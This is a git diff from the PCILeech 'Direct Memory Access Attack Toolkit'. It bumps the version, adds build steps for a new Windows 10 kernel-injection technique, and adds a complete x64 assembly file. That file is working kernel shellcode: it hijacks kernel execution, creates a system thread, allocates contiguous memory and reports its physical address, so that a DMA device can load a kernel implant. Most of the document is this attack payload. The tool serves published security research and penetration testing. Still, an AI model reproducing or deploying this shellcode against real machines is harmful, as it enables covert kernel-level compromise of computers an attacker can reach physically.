-#define VERSION_REVISION 3
-#define VERSION_BUILD 13
+#define VERSION_MINOR 7
+#define VERSION_REVISION 0
+#define VERSION_BUILD 14
#define VER_FILE_DESCRIPTION_STR "The PCILeech Direct Memory Access Attack Toolkit"
#define VER_FILE_VERSION VERSION_MAJOR, VERSION_MINOR, VERSION_REVISION, VERSION_BUILD
diff --git a/pcileech_shellcode/info_kmd_core.txt b/pcileech_shellcode/info_kmd_core.txt
index 1a4aa9a..6211008 100644
--- a/pcileech_shellcode/info_kmd_core.txt
+++ b/pcileech_shellcode/info_kmd_core.txt
@@ -136,8 +136,14 @@ ml64 wx64_stage3.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main "wx64
shellcode64.exe -o wx64_stage3.exe
#
#
-#=========== Windows x64 - VMM.DLL assisted technique (Memory Process File System) ===========
+#=========== Windows x64 - WIN10_X64_2 - VMM.DLL assisted technique ===========
#
cl.exe /O1 /Os /Oy /FD /MT /Zp1 /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_stage3_c.c
ml64 wx64_stage23_vmm.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main "wx64_stage3_c.obj"
shellcode64.exe -o wx64_stage23_vmm.exe
+#
+#=========== Windows x64 - WIN10_X64_3 - VMM.DLL assisted technique ===========
+#
+cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_stage3_c.c
+ml64 wx64_stage23_vmm3.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main "wx64_stage3_c.obj"
+shellcode64.exe -o wx64_stage23_vmm3.exe
\ No newline at end of file
diff --git a/pcileech_shellcode/pcileech_shellcode.vcxproj b/pcileech_shellcode/pcileech_shellcode.vcxproj
index fd0a71e..8d7f13d 100644
--- a/pcileech_shellcode/pcileech_shellcode.vcxproj
+++ b/pcileech_shellcode/pcileech_shellcode.vcxproj
@@ -106,6 +106,7 @@
+
diff --git a/pcileech_shellcode/pcileech_shellcode.vcxproj.filters b/pcileech_shellcode/pcileech_shellcode.vcxproj.filters
index be676fb..c067589 100644
--- a/pcileech_shellcode/pcileech_shellcode.vcxproj.filters
+++ b/pcileech_shellcode/pcileech_shellcode.vcxproj.filters
@@ -224,6 +224,9 @@
Source Files\kmd_core
+
+ Source Files\kmd_core
+
diff --git a/pcileech_shellcode/wx64_stage23_vmm3.asm b/pcileech_shellcode/wx64_stage23_vmm3.asm
new file mode 100644
index 0000000..52d0afd
--- /dev/null
+++ b/pcileech_shellcode/wx64_stage23_vmm3.asm
@@ -0,0 +1,156 @@
+; wx64_stage23_vmm3.asm : assembly for the WIN10_X64_3 KMD inject.
+;
+; (c) Ulf Frisk, 2020
+; Author: Ulf Frisk, pcileech@frizk.net
+;
+
+EXTRN stage3_c_EntryPoint:NEAR
+
+.CODE
+
+main PROC
+ ; ----------------------------------------------------
+ ; 0: INITIAL OP AND VARIABLE MEMORY LOCATIONS
+ ; ----------------------------------------------------
+ JMP main_start
+ data_filler db 00h, 00h ; +002
+ original_code:
+ data_original_code dd 44444444h, 44444444h, 44444444h, 44444444h, 44444444h ; +004
+ addr_data dq 1111111111111111h ; +018
+ pfnKeGetCurrentIrql dq 1111111111111111h ; +020
+ pfnPsCreateSystemThread dq 1111111111111111h ; +028
+ pfnZwClose dq 1111111111111111h ; +030
+ pfnMmAllocateContiguousMemory dq 1111111111111111h ; +038
+ pfnMmGetPhysicalAddress dq 1111111111111111h ; +040
+ addr_KernelBase dq 1111111111111111h ; +048
+ ; ----------------------------------------------------
+ ; 1: SAVE ORIGINAL PARAMETERS
+ ; ----------------------------------------------------
+main_start:
+ PUSH rcx
+ PUSH rdx
+ PUSH r8
+ PUSH r9
+ PUSH r10
+ PUSH r11
+ PUSH r12
+ PUSH r13
+ PUSH r14
+ PUSH r15
+ PUSH rdi
+ PUSH rsi
+ PUSH rbx
+ PUSH rbp
+ SUB rsp, 020h
+ ; ----------------------------------------------------
+ ; CHECK CURRENT IRQL - ONLY IRQL PASSIVE (0) ALLOWED
+ ; ----------------------------------------------------
+ CALL [pfnKeGetCurrentIrql]
+ TEST rax, rax
+ JNZ skipcall
+ ; ----------------------------------------------------
+ ; ENSURE ATOMICITY IN THREADED ENVIRONMENTS
+ ; ----------------------------------------------------
+ MOV al, 00h
+ MOV dl, 01h
+ MOV rcx, addr_data
+ LOCK CMPXCHG [rcx], dl
+ JNE skipcall
+ ; ----------------------------------------------------
+ ; CREATE THREAD
+ ; ----------------------------------------------------
+ PUSH r12 ; StartContext
+ LEA rax, setup2
+ PUSH rax ; StartRoutine
+ PUSH 0 ; ClientId
+ SUB rsp, 020h ; (stack shadow space)
+ XOR r9, r9 ; ProcessHandle
+ XOR r8, r8 ; ObjectAttributes
+ MOV rdx, 1fffffh ; DesiredAccess
+ MOV rcx, addr_data ; ThreadHandle
+ ADD rcx, 8
+ CALL [pfnPsCreateSystemThread]
+ ADD rsp, 038h
+ ; ----------------------------------------------------
+ ; CLOSE THREAD HANDLE
+ ; ----------------------------------------------------
+ SUB rsp, 038h ; (stack shadow space + align)
+ MOV rcx, addr_data ; ThreadHandle
+ MOV rcx, [rcx+8]
+ CALL [pfnZwClose]
+ ADD rsp, 038h
+ ; ----------------------------------------------------
+ ; EXIT - RESTORE AND JMP BACK
+ ; ----------------------------------------------------
+skipcall:
+ ADD rsp, 020h
+ POP rbp
+ POP rbx
+ POP rsi
+ POP rdi
+ POP r15
+ POP r14
+ POP r13
+ POP r12
+ POP r11
+ POP r10
+ POP r9
+ POP r8
+ POP rdx
+ POP rcx
+ JMP original_code
+main ENDP
+
+; ----------------------------------------------------
+; New Thread entry point. Allocate memory and write back
+; the physical address so PCILeech may read it with DMA.
+; ----------------------------------------------------
+setup2 PROC
+ ; ----------------------------------------------------
+ ; SET UP STACK SHADOW SPACE (REQUIRED FOR SOME FUNCTION CALLS)
+ ; ----------------------------------------------------
+ PUSH rbp
+ MOV rbp, rsp
+ SUB rsp, 020h
+ ; ----------------------------------------------------
+ ; ALLOCATE 0x1000 CONTIGUOUS MEMORY BELOW 0x7fffffff
+ ; ----------------------------------------------------
+ MOV rcx, 1000h
+ MOV rdx, 7fffffffh
+ CALL [pfnMmAllocateContiguousMemory]
+ MOV r13, rax
+ ; ----------------------------------------------------
+ ; ZERO ALLOCATED MEMORY
+ ; ----------------------------------------------------
+ XOR rax, rax
+ MOV ecx, 200h
+ clear_loop:
+ DEC ecx
+ MOV [r13+rcx*8], rax
+ JNZ clear_loop
+ ; ----------------------------------------------------
+ ; WRITE PHYSICAL MEMORY ADDRESS
+ ; ----------------------------------------------------
+ MOV rcx, r13
+ CALL [pfnMmGetPhysicalAddress]
+ MOV rcx, addr_data
+ MOV [rcx+01ch], eax
+ ; ----------------------------------------------------
+ ; SET PKMDDATA->AddrKernelBase
+ ; ----------------------------------------------------
+ MOV rax, addr_KernelBase
+ MOV [r13+8], rax
+ ; ----------------------------------------------------
+ ; CALL C-ENTRYPOINT
+ ; ----------------------------------------------------
+ MOV rcx, r13
+ CALL stage3_c_EntryPoint
+ ; ----------------------------------------------------
+ ; RETURN
+ ; ----------------------------------------------------
+ ADD rsp, 028h
+ XOR rax, rax
+ RET
+setup2 ENDP
+
+END